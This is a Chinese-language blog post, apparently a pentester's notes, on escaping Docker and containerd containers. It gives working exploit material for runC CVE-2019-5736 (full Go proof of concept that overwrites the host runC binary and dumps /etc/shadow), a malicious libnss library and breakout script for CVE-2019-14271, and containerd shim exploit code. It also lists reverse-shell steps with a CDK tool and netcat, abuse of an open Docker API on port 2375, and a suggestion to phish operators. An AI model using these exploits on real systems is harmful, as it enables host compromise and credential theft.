文章作者: 小九
文章来源:war9.cn
Docker Version < 18.09.2
RunC Version <1.0-rc6
攻击者具有容器文件上传权限 & 管理员使用exec访问容器 || 攻击者具有启动容器权限
攻击者可以将容器中的目标文件替换成指向runC的自己的文件来欺骗runC执行自己。比如目标文件是/bin/bash
,将它替换成指定解释器路径为#!/proc/self/exe
的可执行脚本,在容器中执行/bin/bash
时将执行/proc/self/exe
,它指向host上的runC文件。然后攻击者可以继续写入/proc/self/exe
试图覆盖host上的runC文件。但是一般来说不会成功,因为内核不允许在执行runC时覆盖它。为了解决这个问题,攻击者可以使用O_PATH标志打开/proc/self/exe
的文件描述符,然后通过/proc/self/fd/<nr>
使用O_WRONLY标志重新打开文件,并尝试在一个循环中从一个单独的进程写入该文件。当runC退出时覆盖会成功,在此之后,runC可以用来攻击其它容器或host。
package main
// Implementation of CVE-2019-5736
// Created with help from @singe, @_cablethief, and @feexd.
// This commit also helped a ton to understand the vuln
// https://github.com/lxc/lxc/commit/6400238d08cdf1ca20d49bafb85f4e224348bf9d
import (
"fmt"
"io/ioutil"
"os"
"strconv"
"strings"
)
// This is the line of shell commands that will execute on the host
var payload = "#!/bin/bash \n cat /etc/shadow > /tmp/shadow && chmod 777 /tmp/shadow"
func main() {
// First we overwrite /bin/sh with the /proc/self/exe interpreter path
fd, err := os.Create("/bin/sh")
if err != nil {
fmt.Println(err)
return
}
fmt.Fprintln(fd, "#!/proc/self/exe")
err = fd.Close()
if err != nil {
fmt.Println(err)
return
}
fmt.Println("[+] Overwritten /bin/sh successfully")
// Loop through all processes to find one whose cmdline includes runcinit
// This will be the process created by runc
var found int
for found == 0 {
pids, err := ioutil.ReadDir("/proc")
if err != nil {
fmt.Println(err)
return
}
for _, f := range pids {
fbytes, _ := ioutil.ReadFile("/proc/" + f.Name() + "/cmdline")
fstring := string(fbytes)
if strings.Contains(fstring, "runc") {
fmt.Println("[+] Found the PID:", f.Name())
found, err = strconv.Atoi(f.Name())
if err != nil {
fmt.Println(err)
return
}
}
}
}
// We will use the pid to get a file handle for runc on the host.
var handleFd = -1
for handleFd == -1 {
// Note, you do not need to use the O_PATH flag for the exploit to work.
handle, _ := os.OpenFile("/proc/"+strconv.Itoa(found)+"/exe", os.O_RDONLY, 0777)
if int(handle.Fd()) > 0 {
handleFd = int(handle.Fd())
}
}
fmt.Println("[+] Successfully got the file handle")
// Now that we have the file handle, lets write to the runc binary and overwrite it
// It will maintain it's executable flag
for {
writeHandle, _ := os.OpenFile("/proc/self/fd/"+strconv.Itoa(handleFd), os.O_WRONLY|os.O_TRUNC, 0700)
if int(writeHandle.Fd()) > 0 {
fmt.Println("[+] Successfully got write handle", writeHandle)
writeHandle.Write([]byte(payload))
return
}
}
}
#攻击者在容器内执行
CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build main.go #编译POC
chmod 777 main
./main #执行Payload
sudo docker exec -it cafa20cfb0f9 /bin/sh
ref:
https://github.com/Frichetten/CVE-2019-5736-PoC
https://www.anquanke.com/post/id/170762
Docker Version == 19.03 && <19.03.1
Docker采用Golang编写,更具体一些,存在漏洞的Docker版本采用Go v1.11编译。在这个版本中,包含嵌入式C代码(cgo
)的某些package会在运行时动态加载共享库。这些package包括net
及os/user
,docker-tar
都用到了这两个package,会在运行时动态加载一些libnss_*.so
库。正常情况下,程序库会从宿主机的文件系统中加载,然而由于docker-tar
会chroot
到容器中,因此会从容器的文件系统中加载这些库。这意味着docker-tar
会加载并执行受容器控制的代码。
恶意so:libnss_files.so by C
#include ...
#define ORIGINAL_LIBNSS "/original_libnss_files.so.2"
#define LIBNSS_PATH "/lib/x86_64-linux-gnu/libnss_files.so.2"
bool is_priviliged();
__attribute__ ((constructor)) void run_at_link(void)
{
char * argv_break[2];
if (!is_priviliged())
return;
rename(ORIGINAL_LIBNSS, LIBNSS_PATH);
fprintf(log_fp, "switched back to the original libnss_file.so");
if (!fork())
{
// Child runs breakout
argv_break[0] = strdup("/breakout");
argv_break[1] = NULL;
execve("/breakout", argv_break, NULL);
}
else
wait(NULL); // Wait for child
return;
}
bool is_priviliged()
{
FILE * proc_file = fopen("/proc/self/exe", "r");
if (proc_file != NULL)
{
fclose(proc_file);
return false; // can open so /proc exists, not privileged
}
return true; // we're running in the context of docker-tar
}
breakout脚本
#!/bin/bash
umount /host_fs && rm -rf /host_fs
mkdir /host_fs
mount -t proc none /proc # mount the host's procfs over /proc
cd /proc/1/root # chdir to host's root
mount --bind . /host_fs # mount host root at /host_fs
echo "Hello from within the container!" > /host_fs/evil
漏洞利用
待完善,暂未复现,大致思路如下
1.编译libnss_files.c为libnss_files.so
2.修改breakout脚本,例如写ssh key 等
3.等待或通过钓鱼邮件等手段,使得运维人员执行docker cp
ref:
https://unit42.paloaltonetworks.com/docker-patched-the-most-severe-copy-vulnerability-to-date-with-cve-2019-14271/
containerd < 1.4.3
containerd < 1.3.9
使用hostnetwork网络模式启动容器 && 使用root用户(UID:0)启动容器
使用hostnetwork网络模式中,容器和主机共享网络命名空间,因此在容器内可以访问host特定的socket文件(shim.sock)。可通过启动一个新的容器,该容器挂在host目录到容器的/host目录,即可实现对host完全的读写。
package main
import (
"context"
"errors"
"io/ioutil"
"log"
"net"
"regexp"
"strings"
"github.com/containerd/ttrpc"
"github.com/gogo/protobuf/types"
)
func exp(sock string) bool {
sock = strings.Replace(sock, "@", "", -1)
conn, err := net.Dial("unix", "\x00"+sock)
if err != nil {
log.Println(err)
return false
}
client := ttrpc.NewClient(conn)
shimClient := NewShimClient(client)
ctx := context.Background()
info, err := shimClient.ShimInfo(ctx, &types.Empty{})
if err != nil {
log.Println("rpc error:", err)
return false
}
log.Println("shim pid:", info.ShimPid)
return true
}
func getShimSockets() ([][]byte, error) {
re, err := regexp.Compile("@/containerd-shim/.*\\.sock")
if err != nil {
return nil, err
}
data, err := ioutil.ReadFile("/proc/net/unix")
matches := re.FindAll(data, -1)
if matches == nil {
return nil, errors.New("Cannot find vulnerable socket")
}
return matches, nil
}
func main() {
matchset := make(map[string]bool)
socks, err := getShimSockets()
if err != nil {
log.Fatalln(err)
}
for _, b := range socks {
sockname := string(b)
if _, ok := matchset[sockname]; ok {
continue
}
log.Println("try socket:", sockname)
matchset[sockname] = true
if exp(sockname) {
break
}
}
return
}
1.下载容器渗透工具包
https://github.com/cdk-team/CDK/releases/tag/v1.0.1
2.在服务器NC监听端口
3.
chmod +x cdk_linux_amd64
./cdk_linux_amd64 run shim-pwn <自己服务器IP> <NC端口>
ref:
https://www.cdxy.me/?p=837
https://zhuanlan.zhihu.com/p/332334413
使用Docker Swarm并且未对2375端口访问加任何限制访问措施
在使用Docker Swarm的时候,管理的Docker 节点上会开放一个TCP端口2375,绑定在0.0.0.0上,http访问会返回 404 page not found ,其实这是 Docker Remote API,可以执行Docker命令,比如访问 http://host:2375/containers/json 会返回服务器当前运行的 container列表,和在Docker CLI上执行Docker ps的效果一样,其他操作比如创建/删除container,拉取image等操作也都可以通过API调用完成。
docker -H tcp://x.x.x.x:2375 ps
可通过挂载host目录,之后使用crontab或者写ssh key来利用。
侵权请私聊公众号删文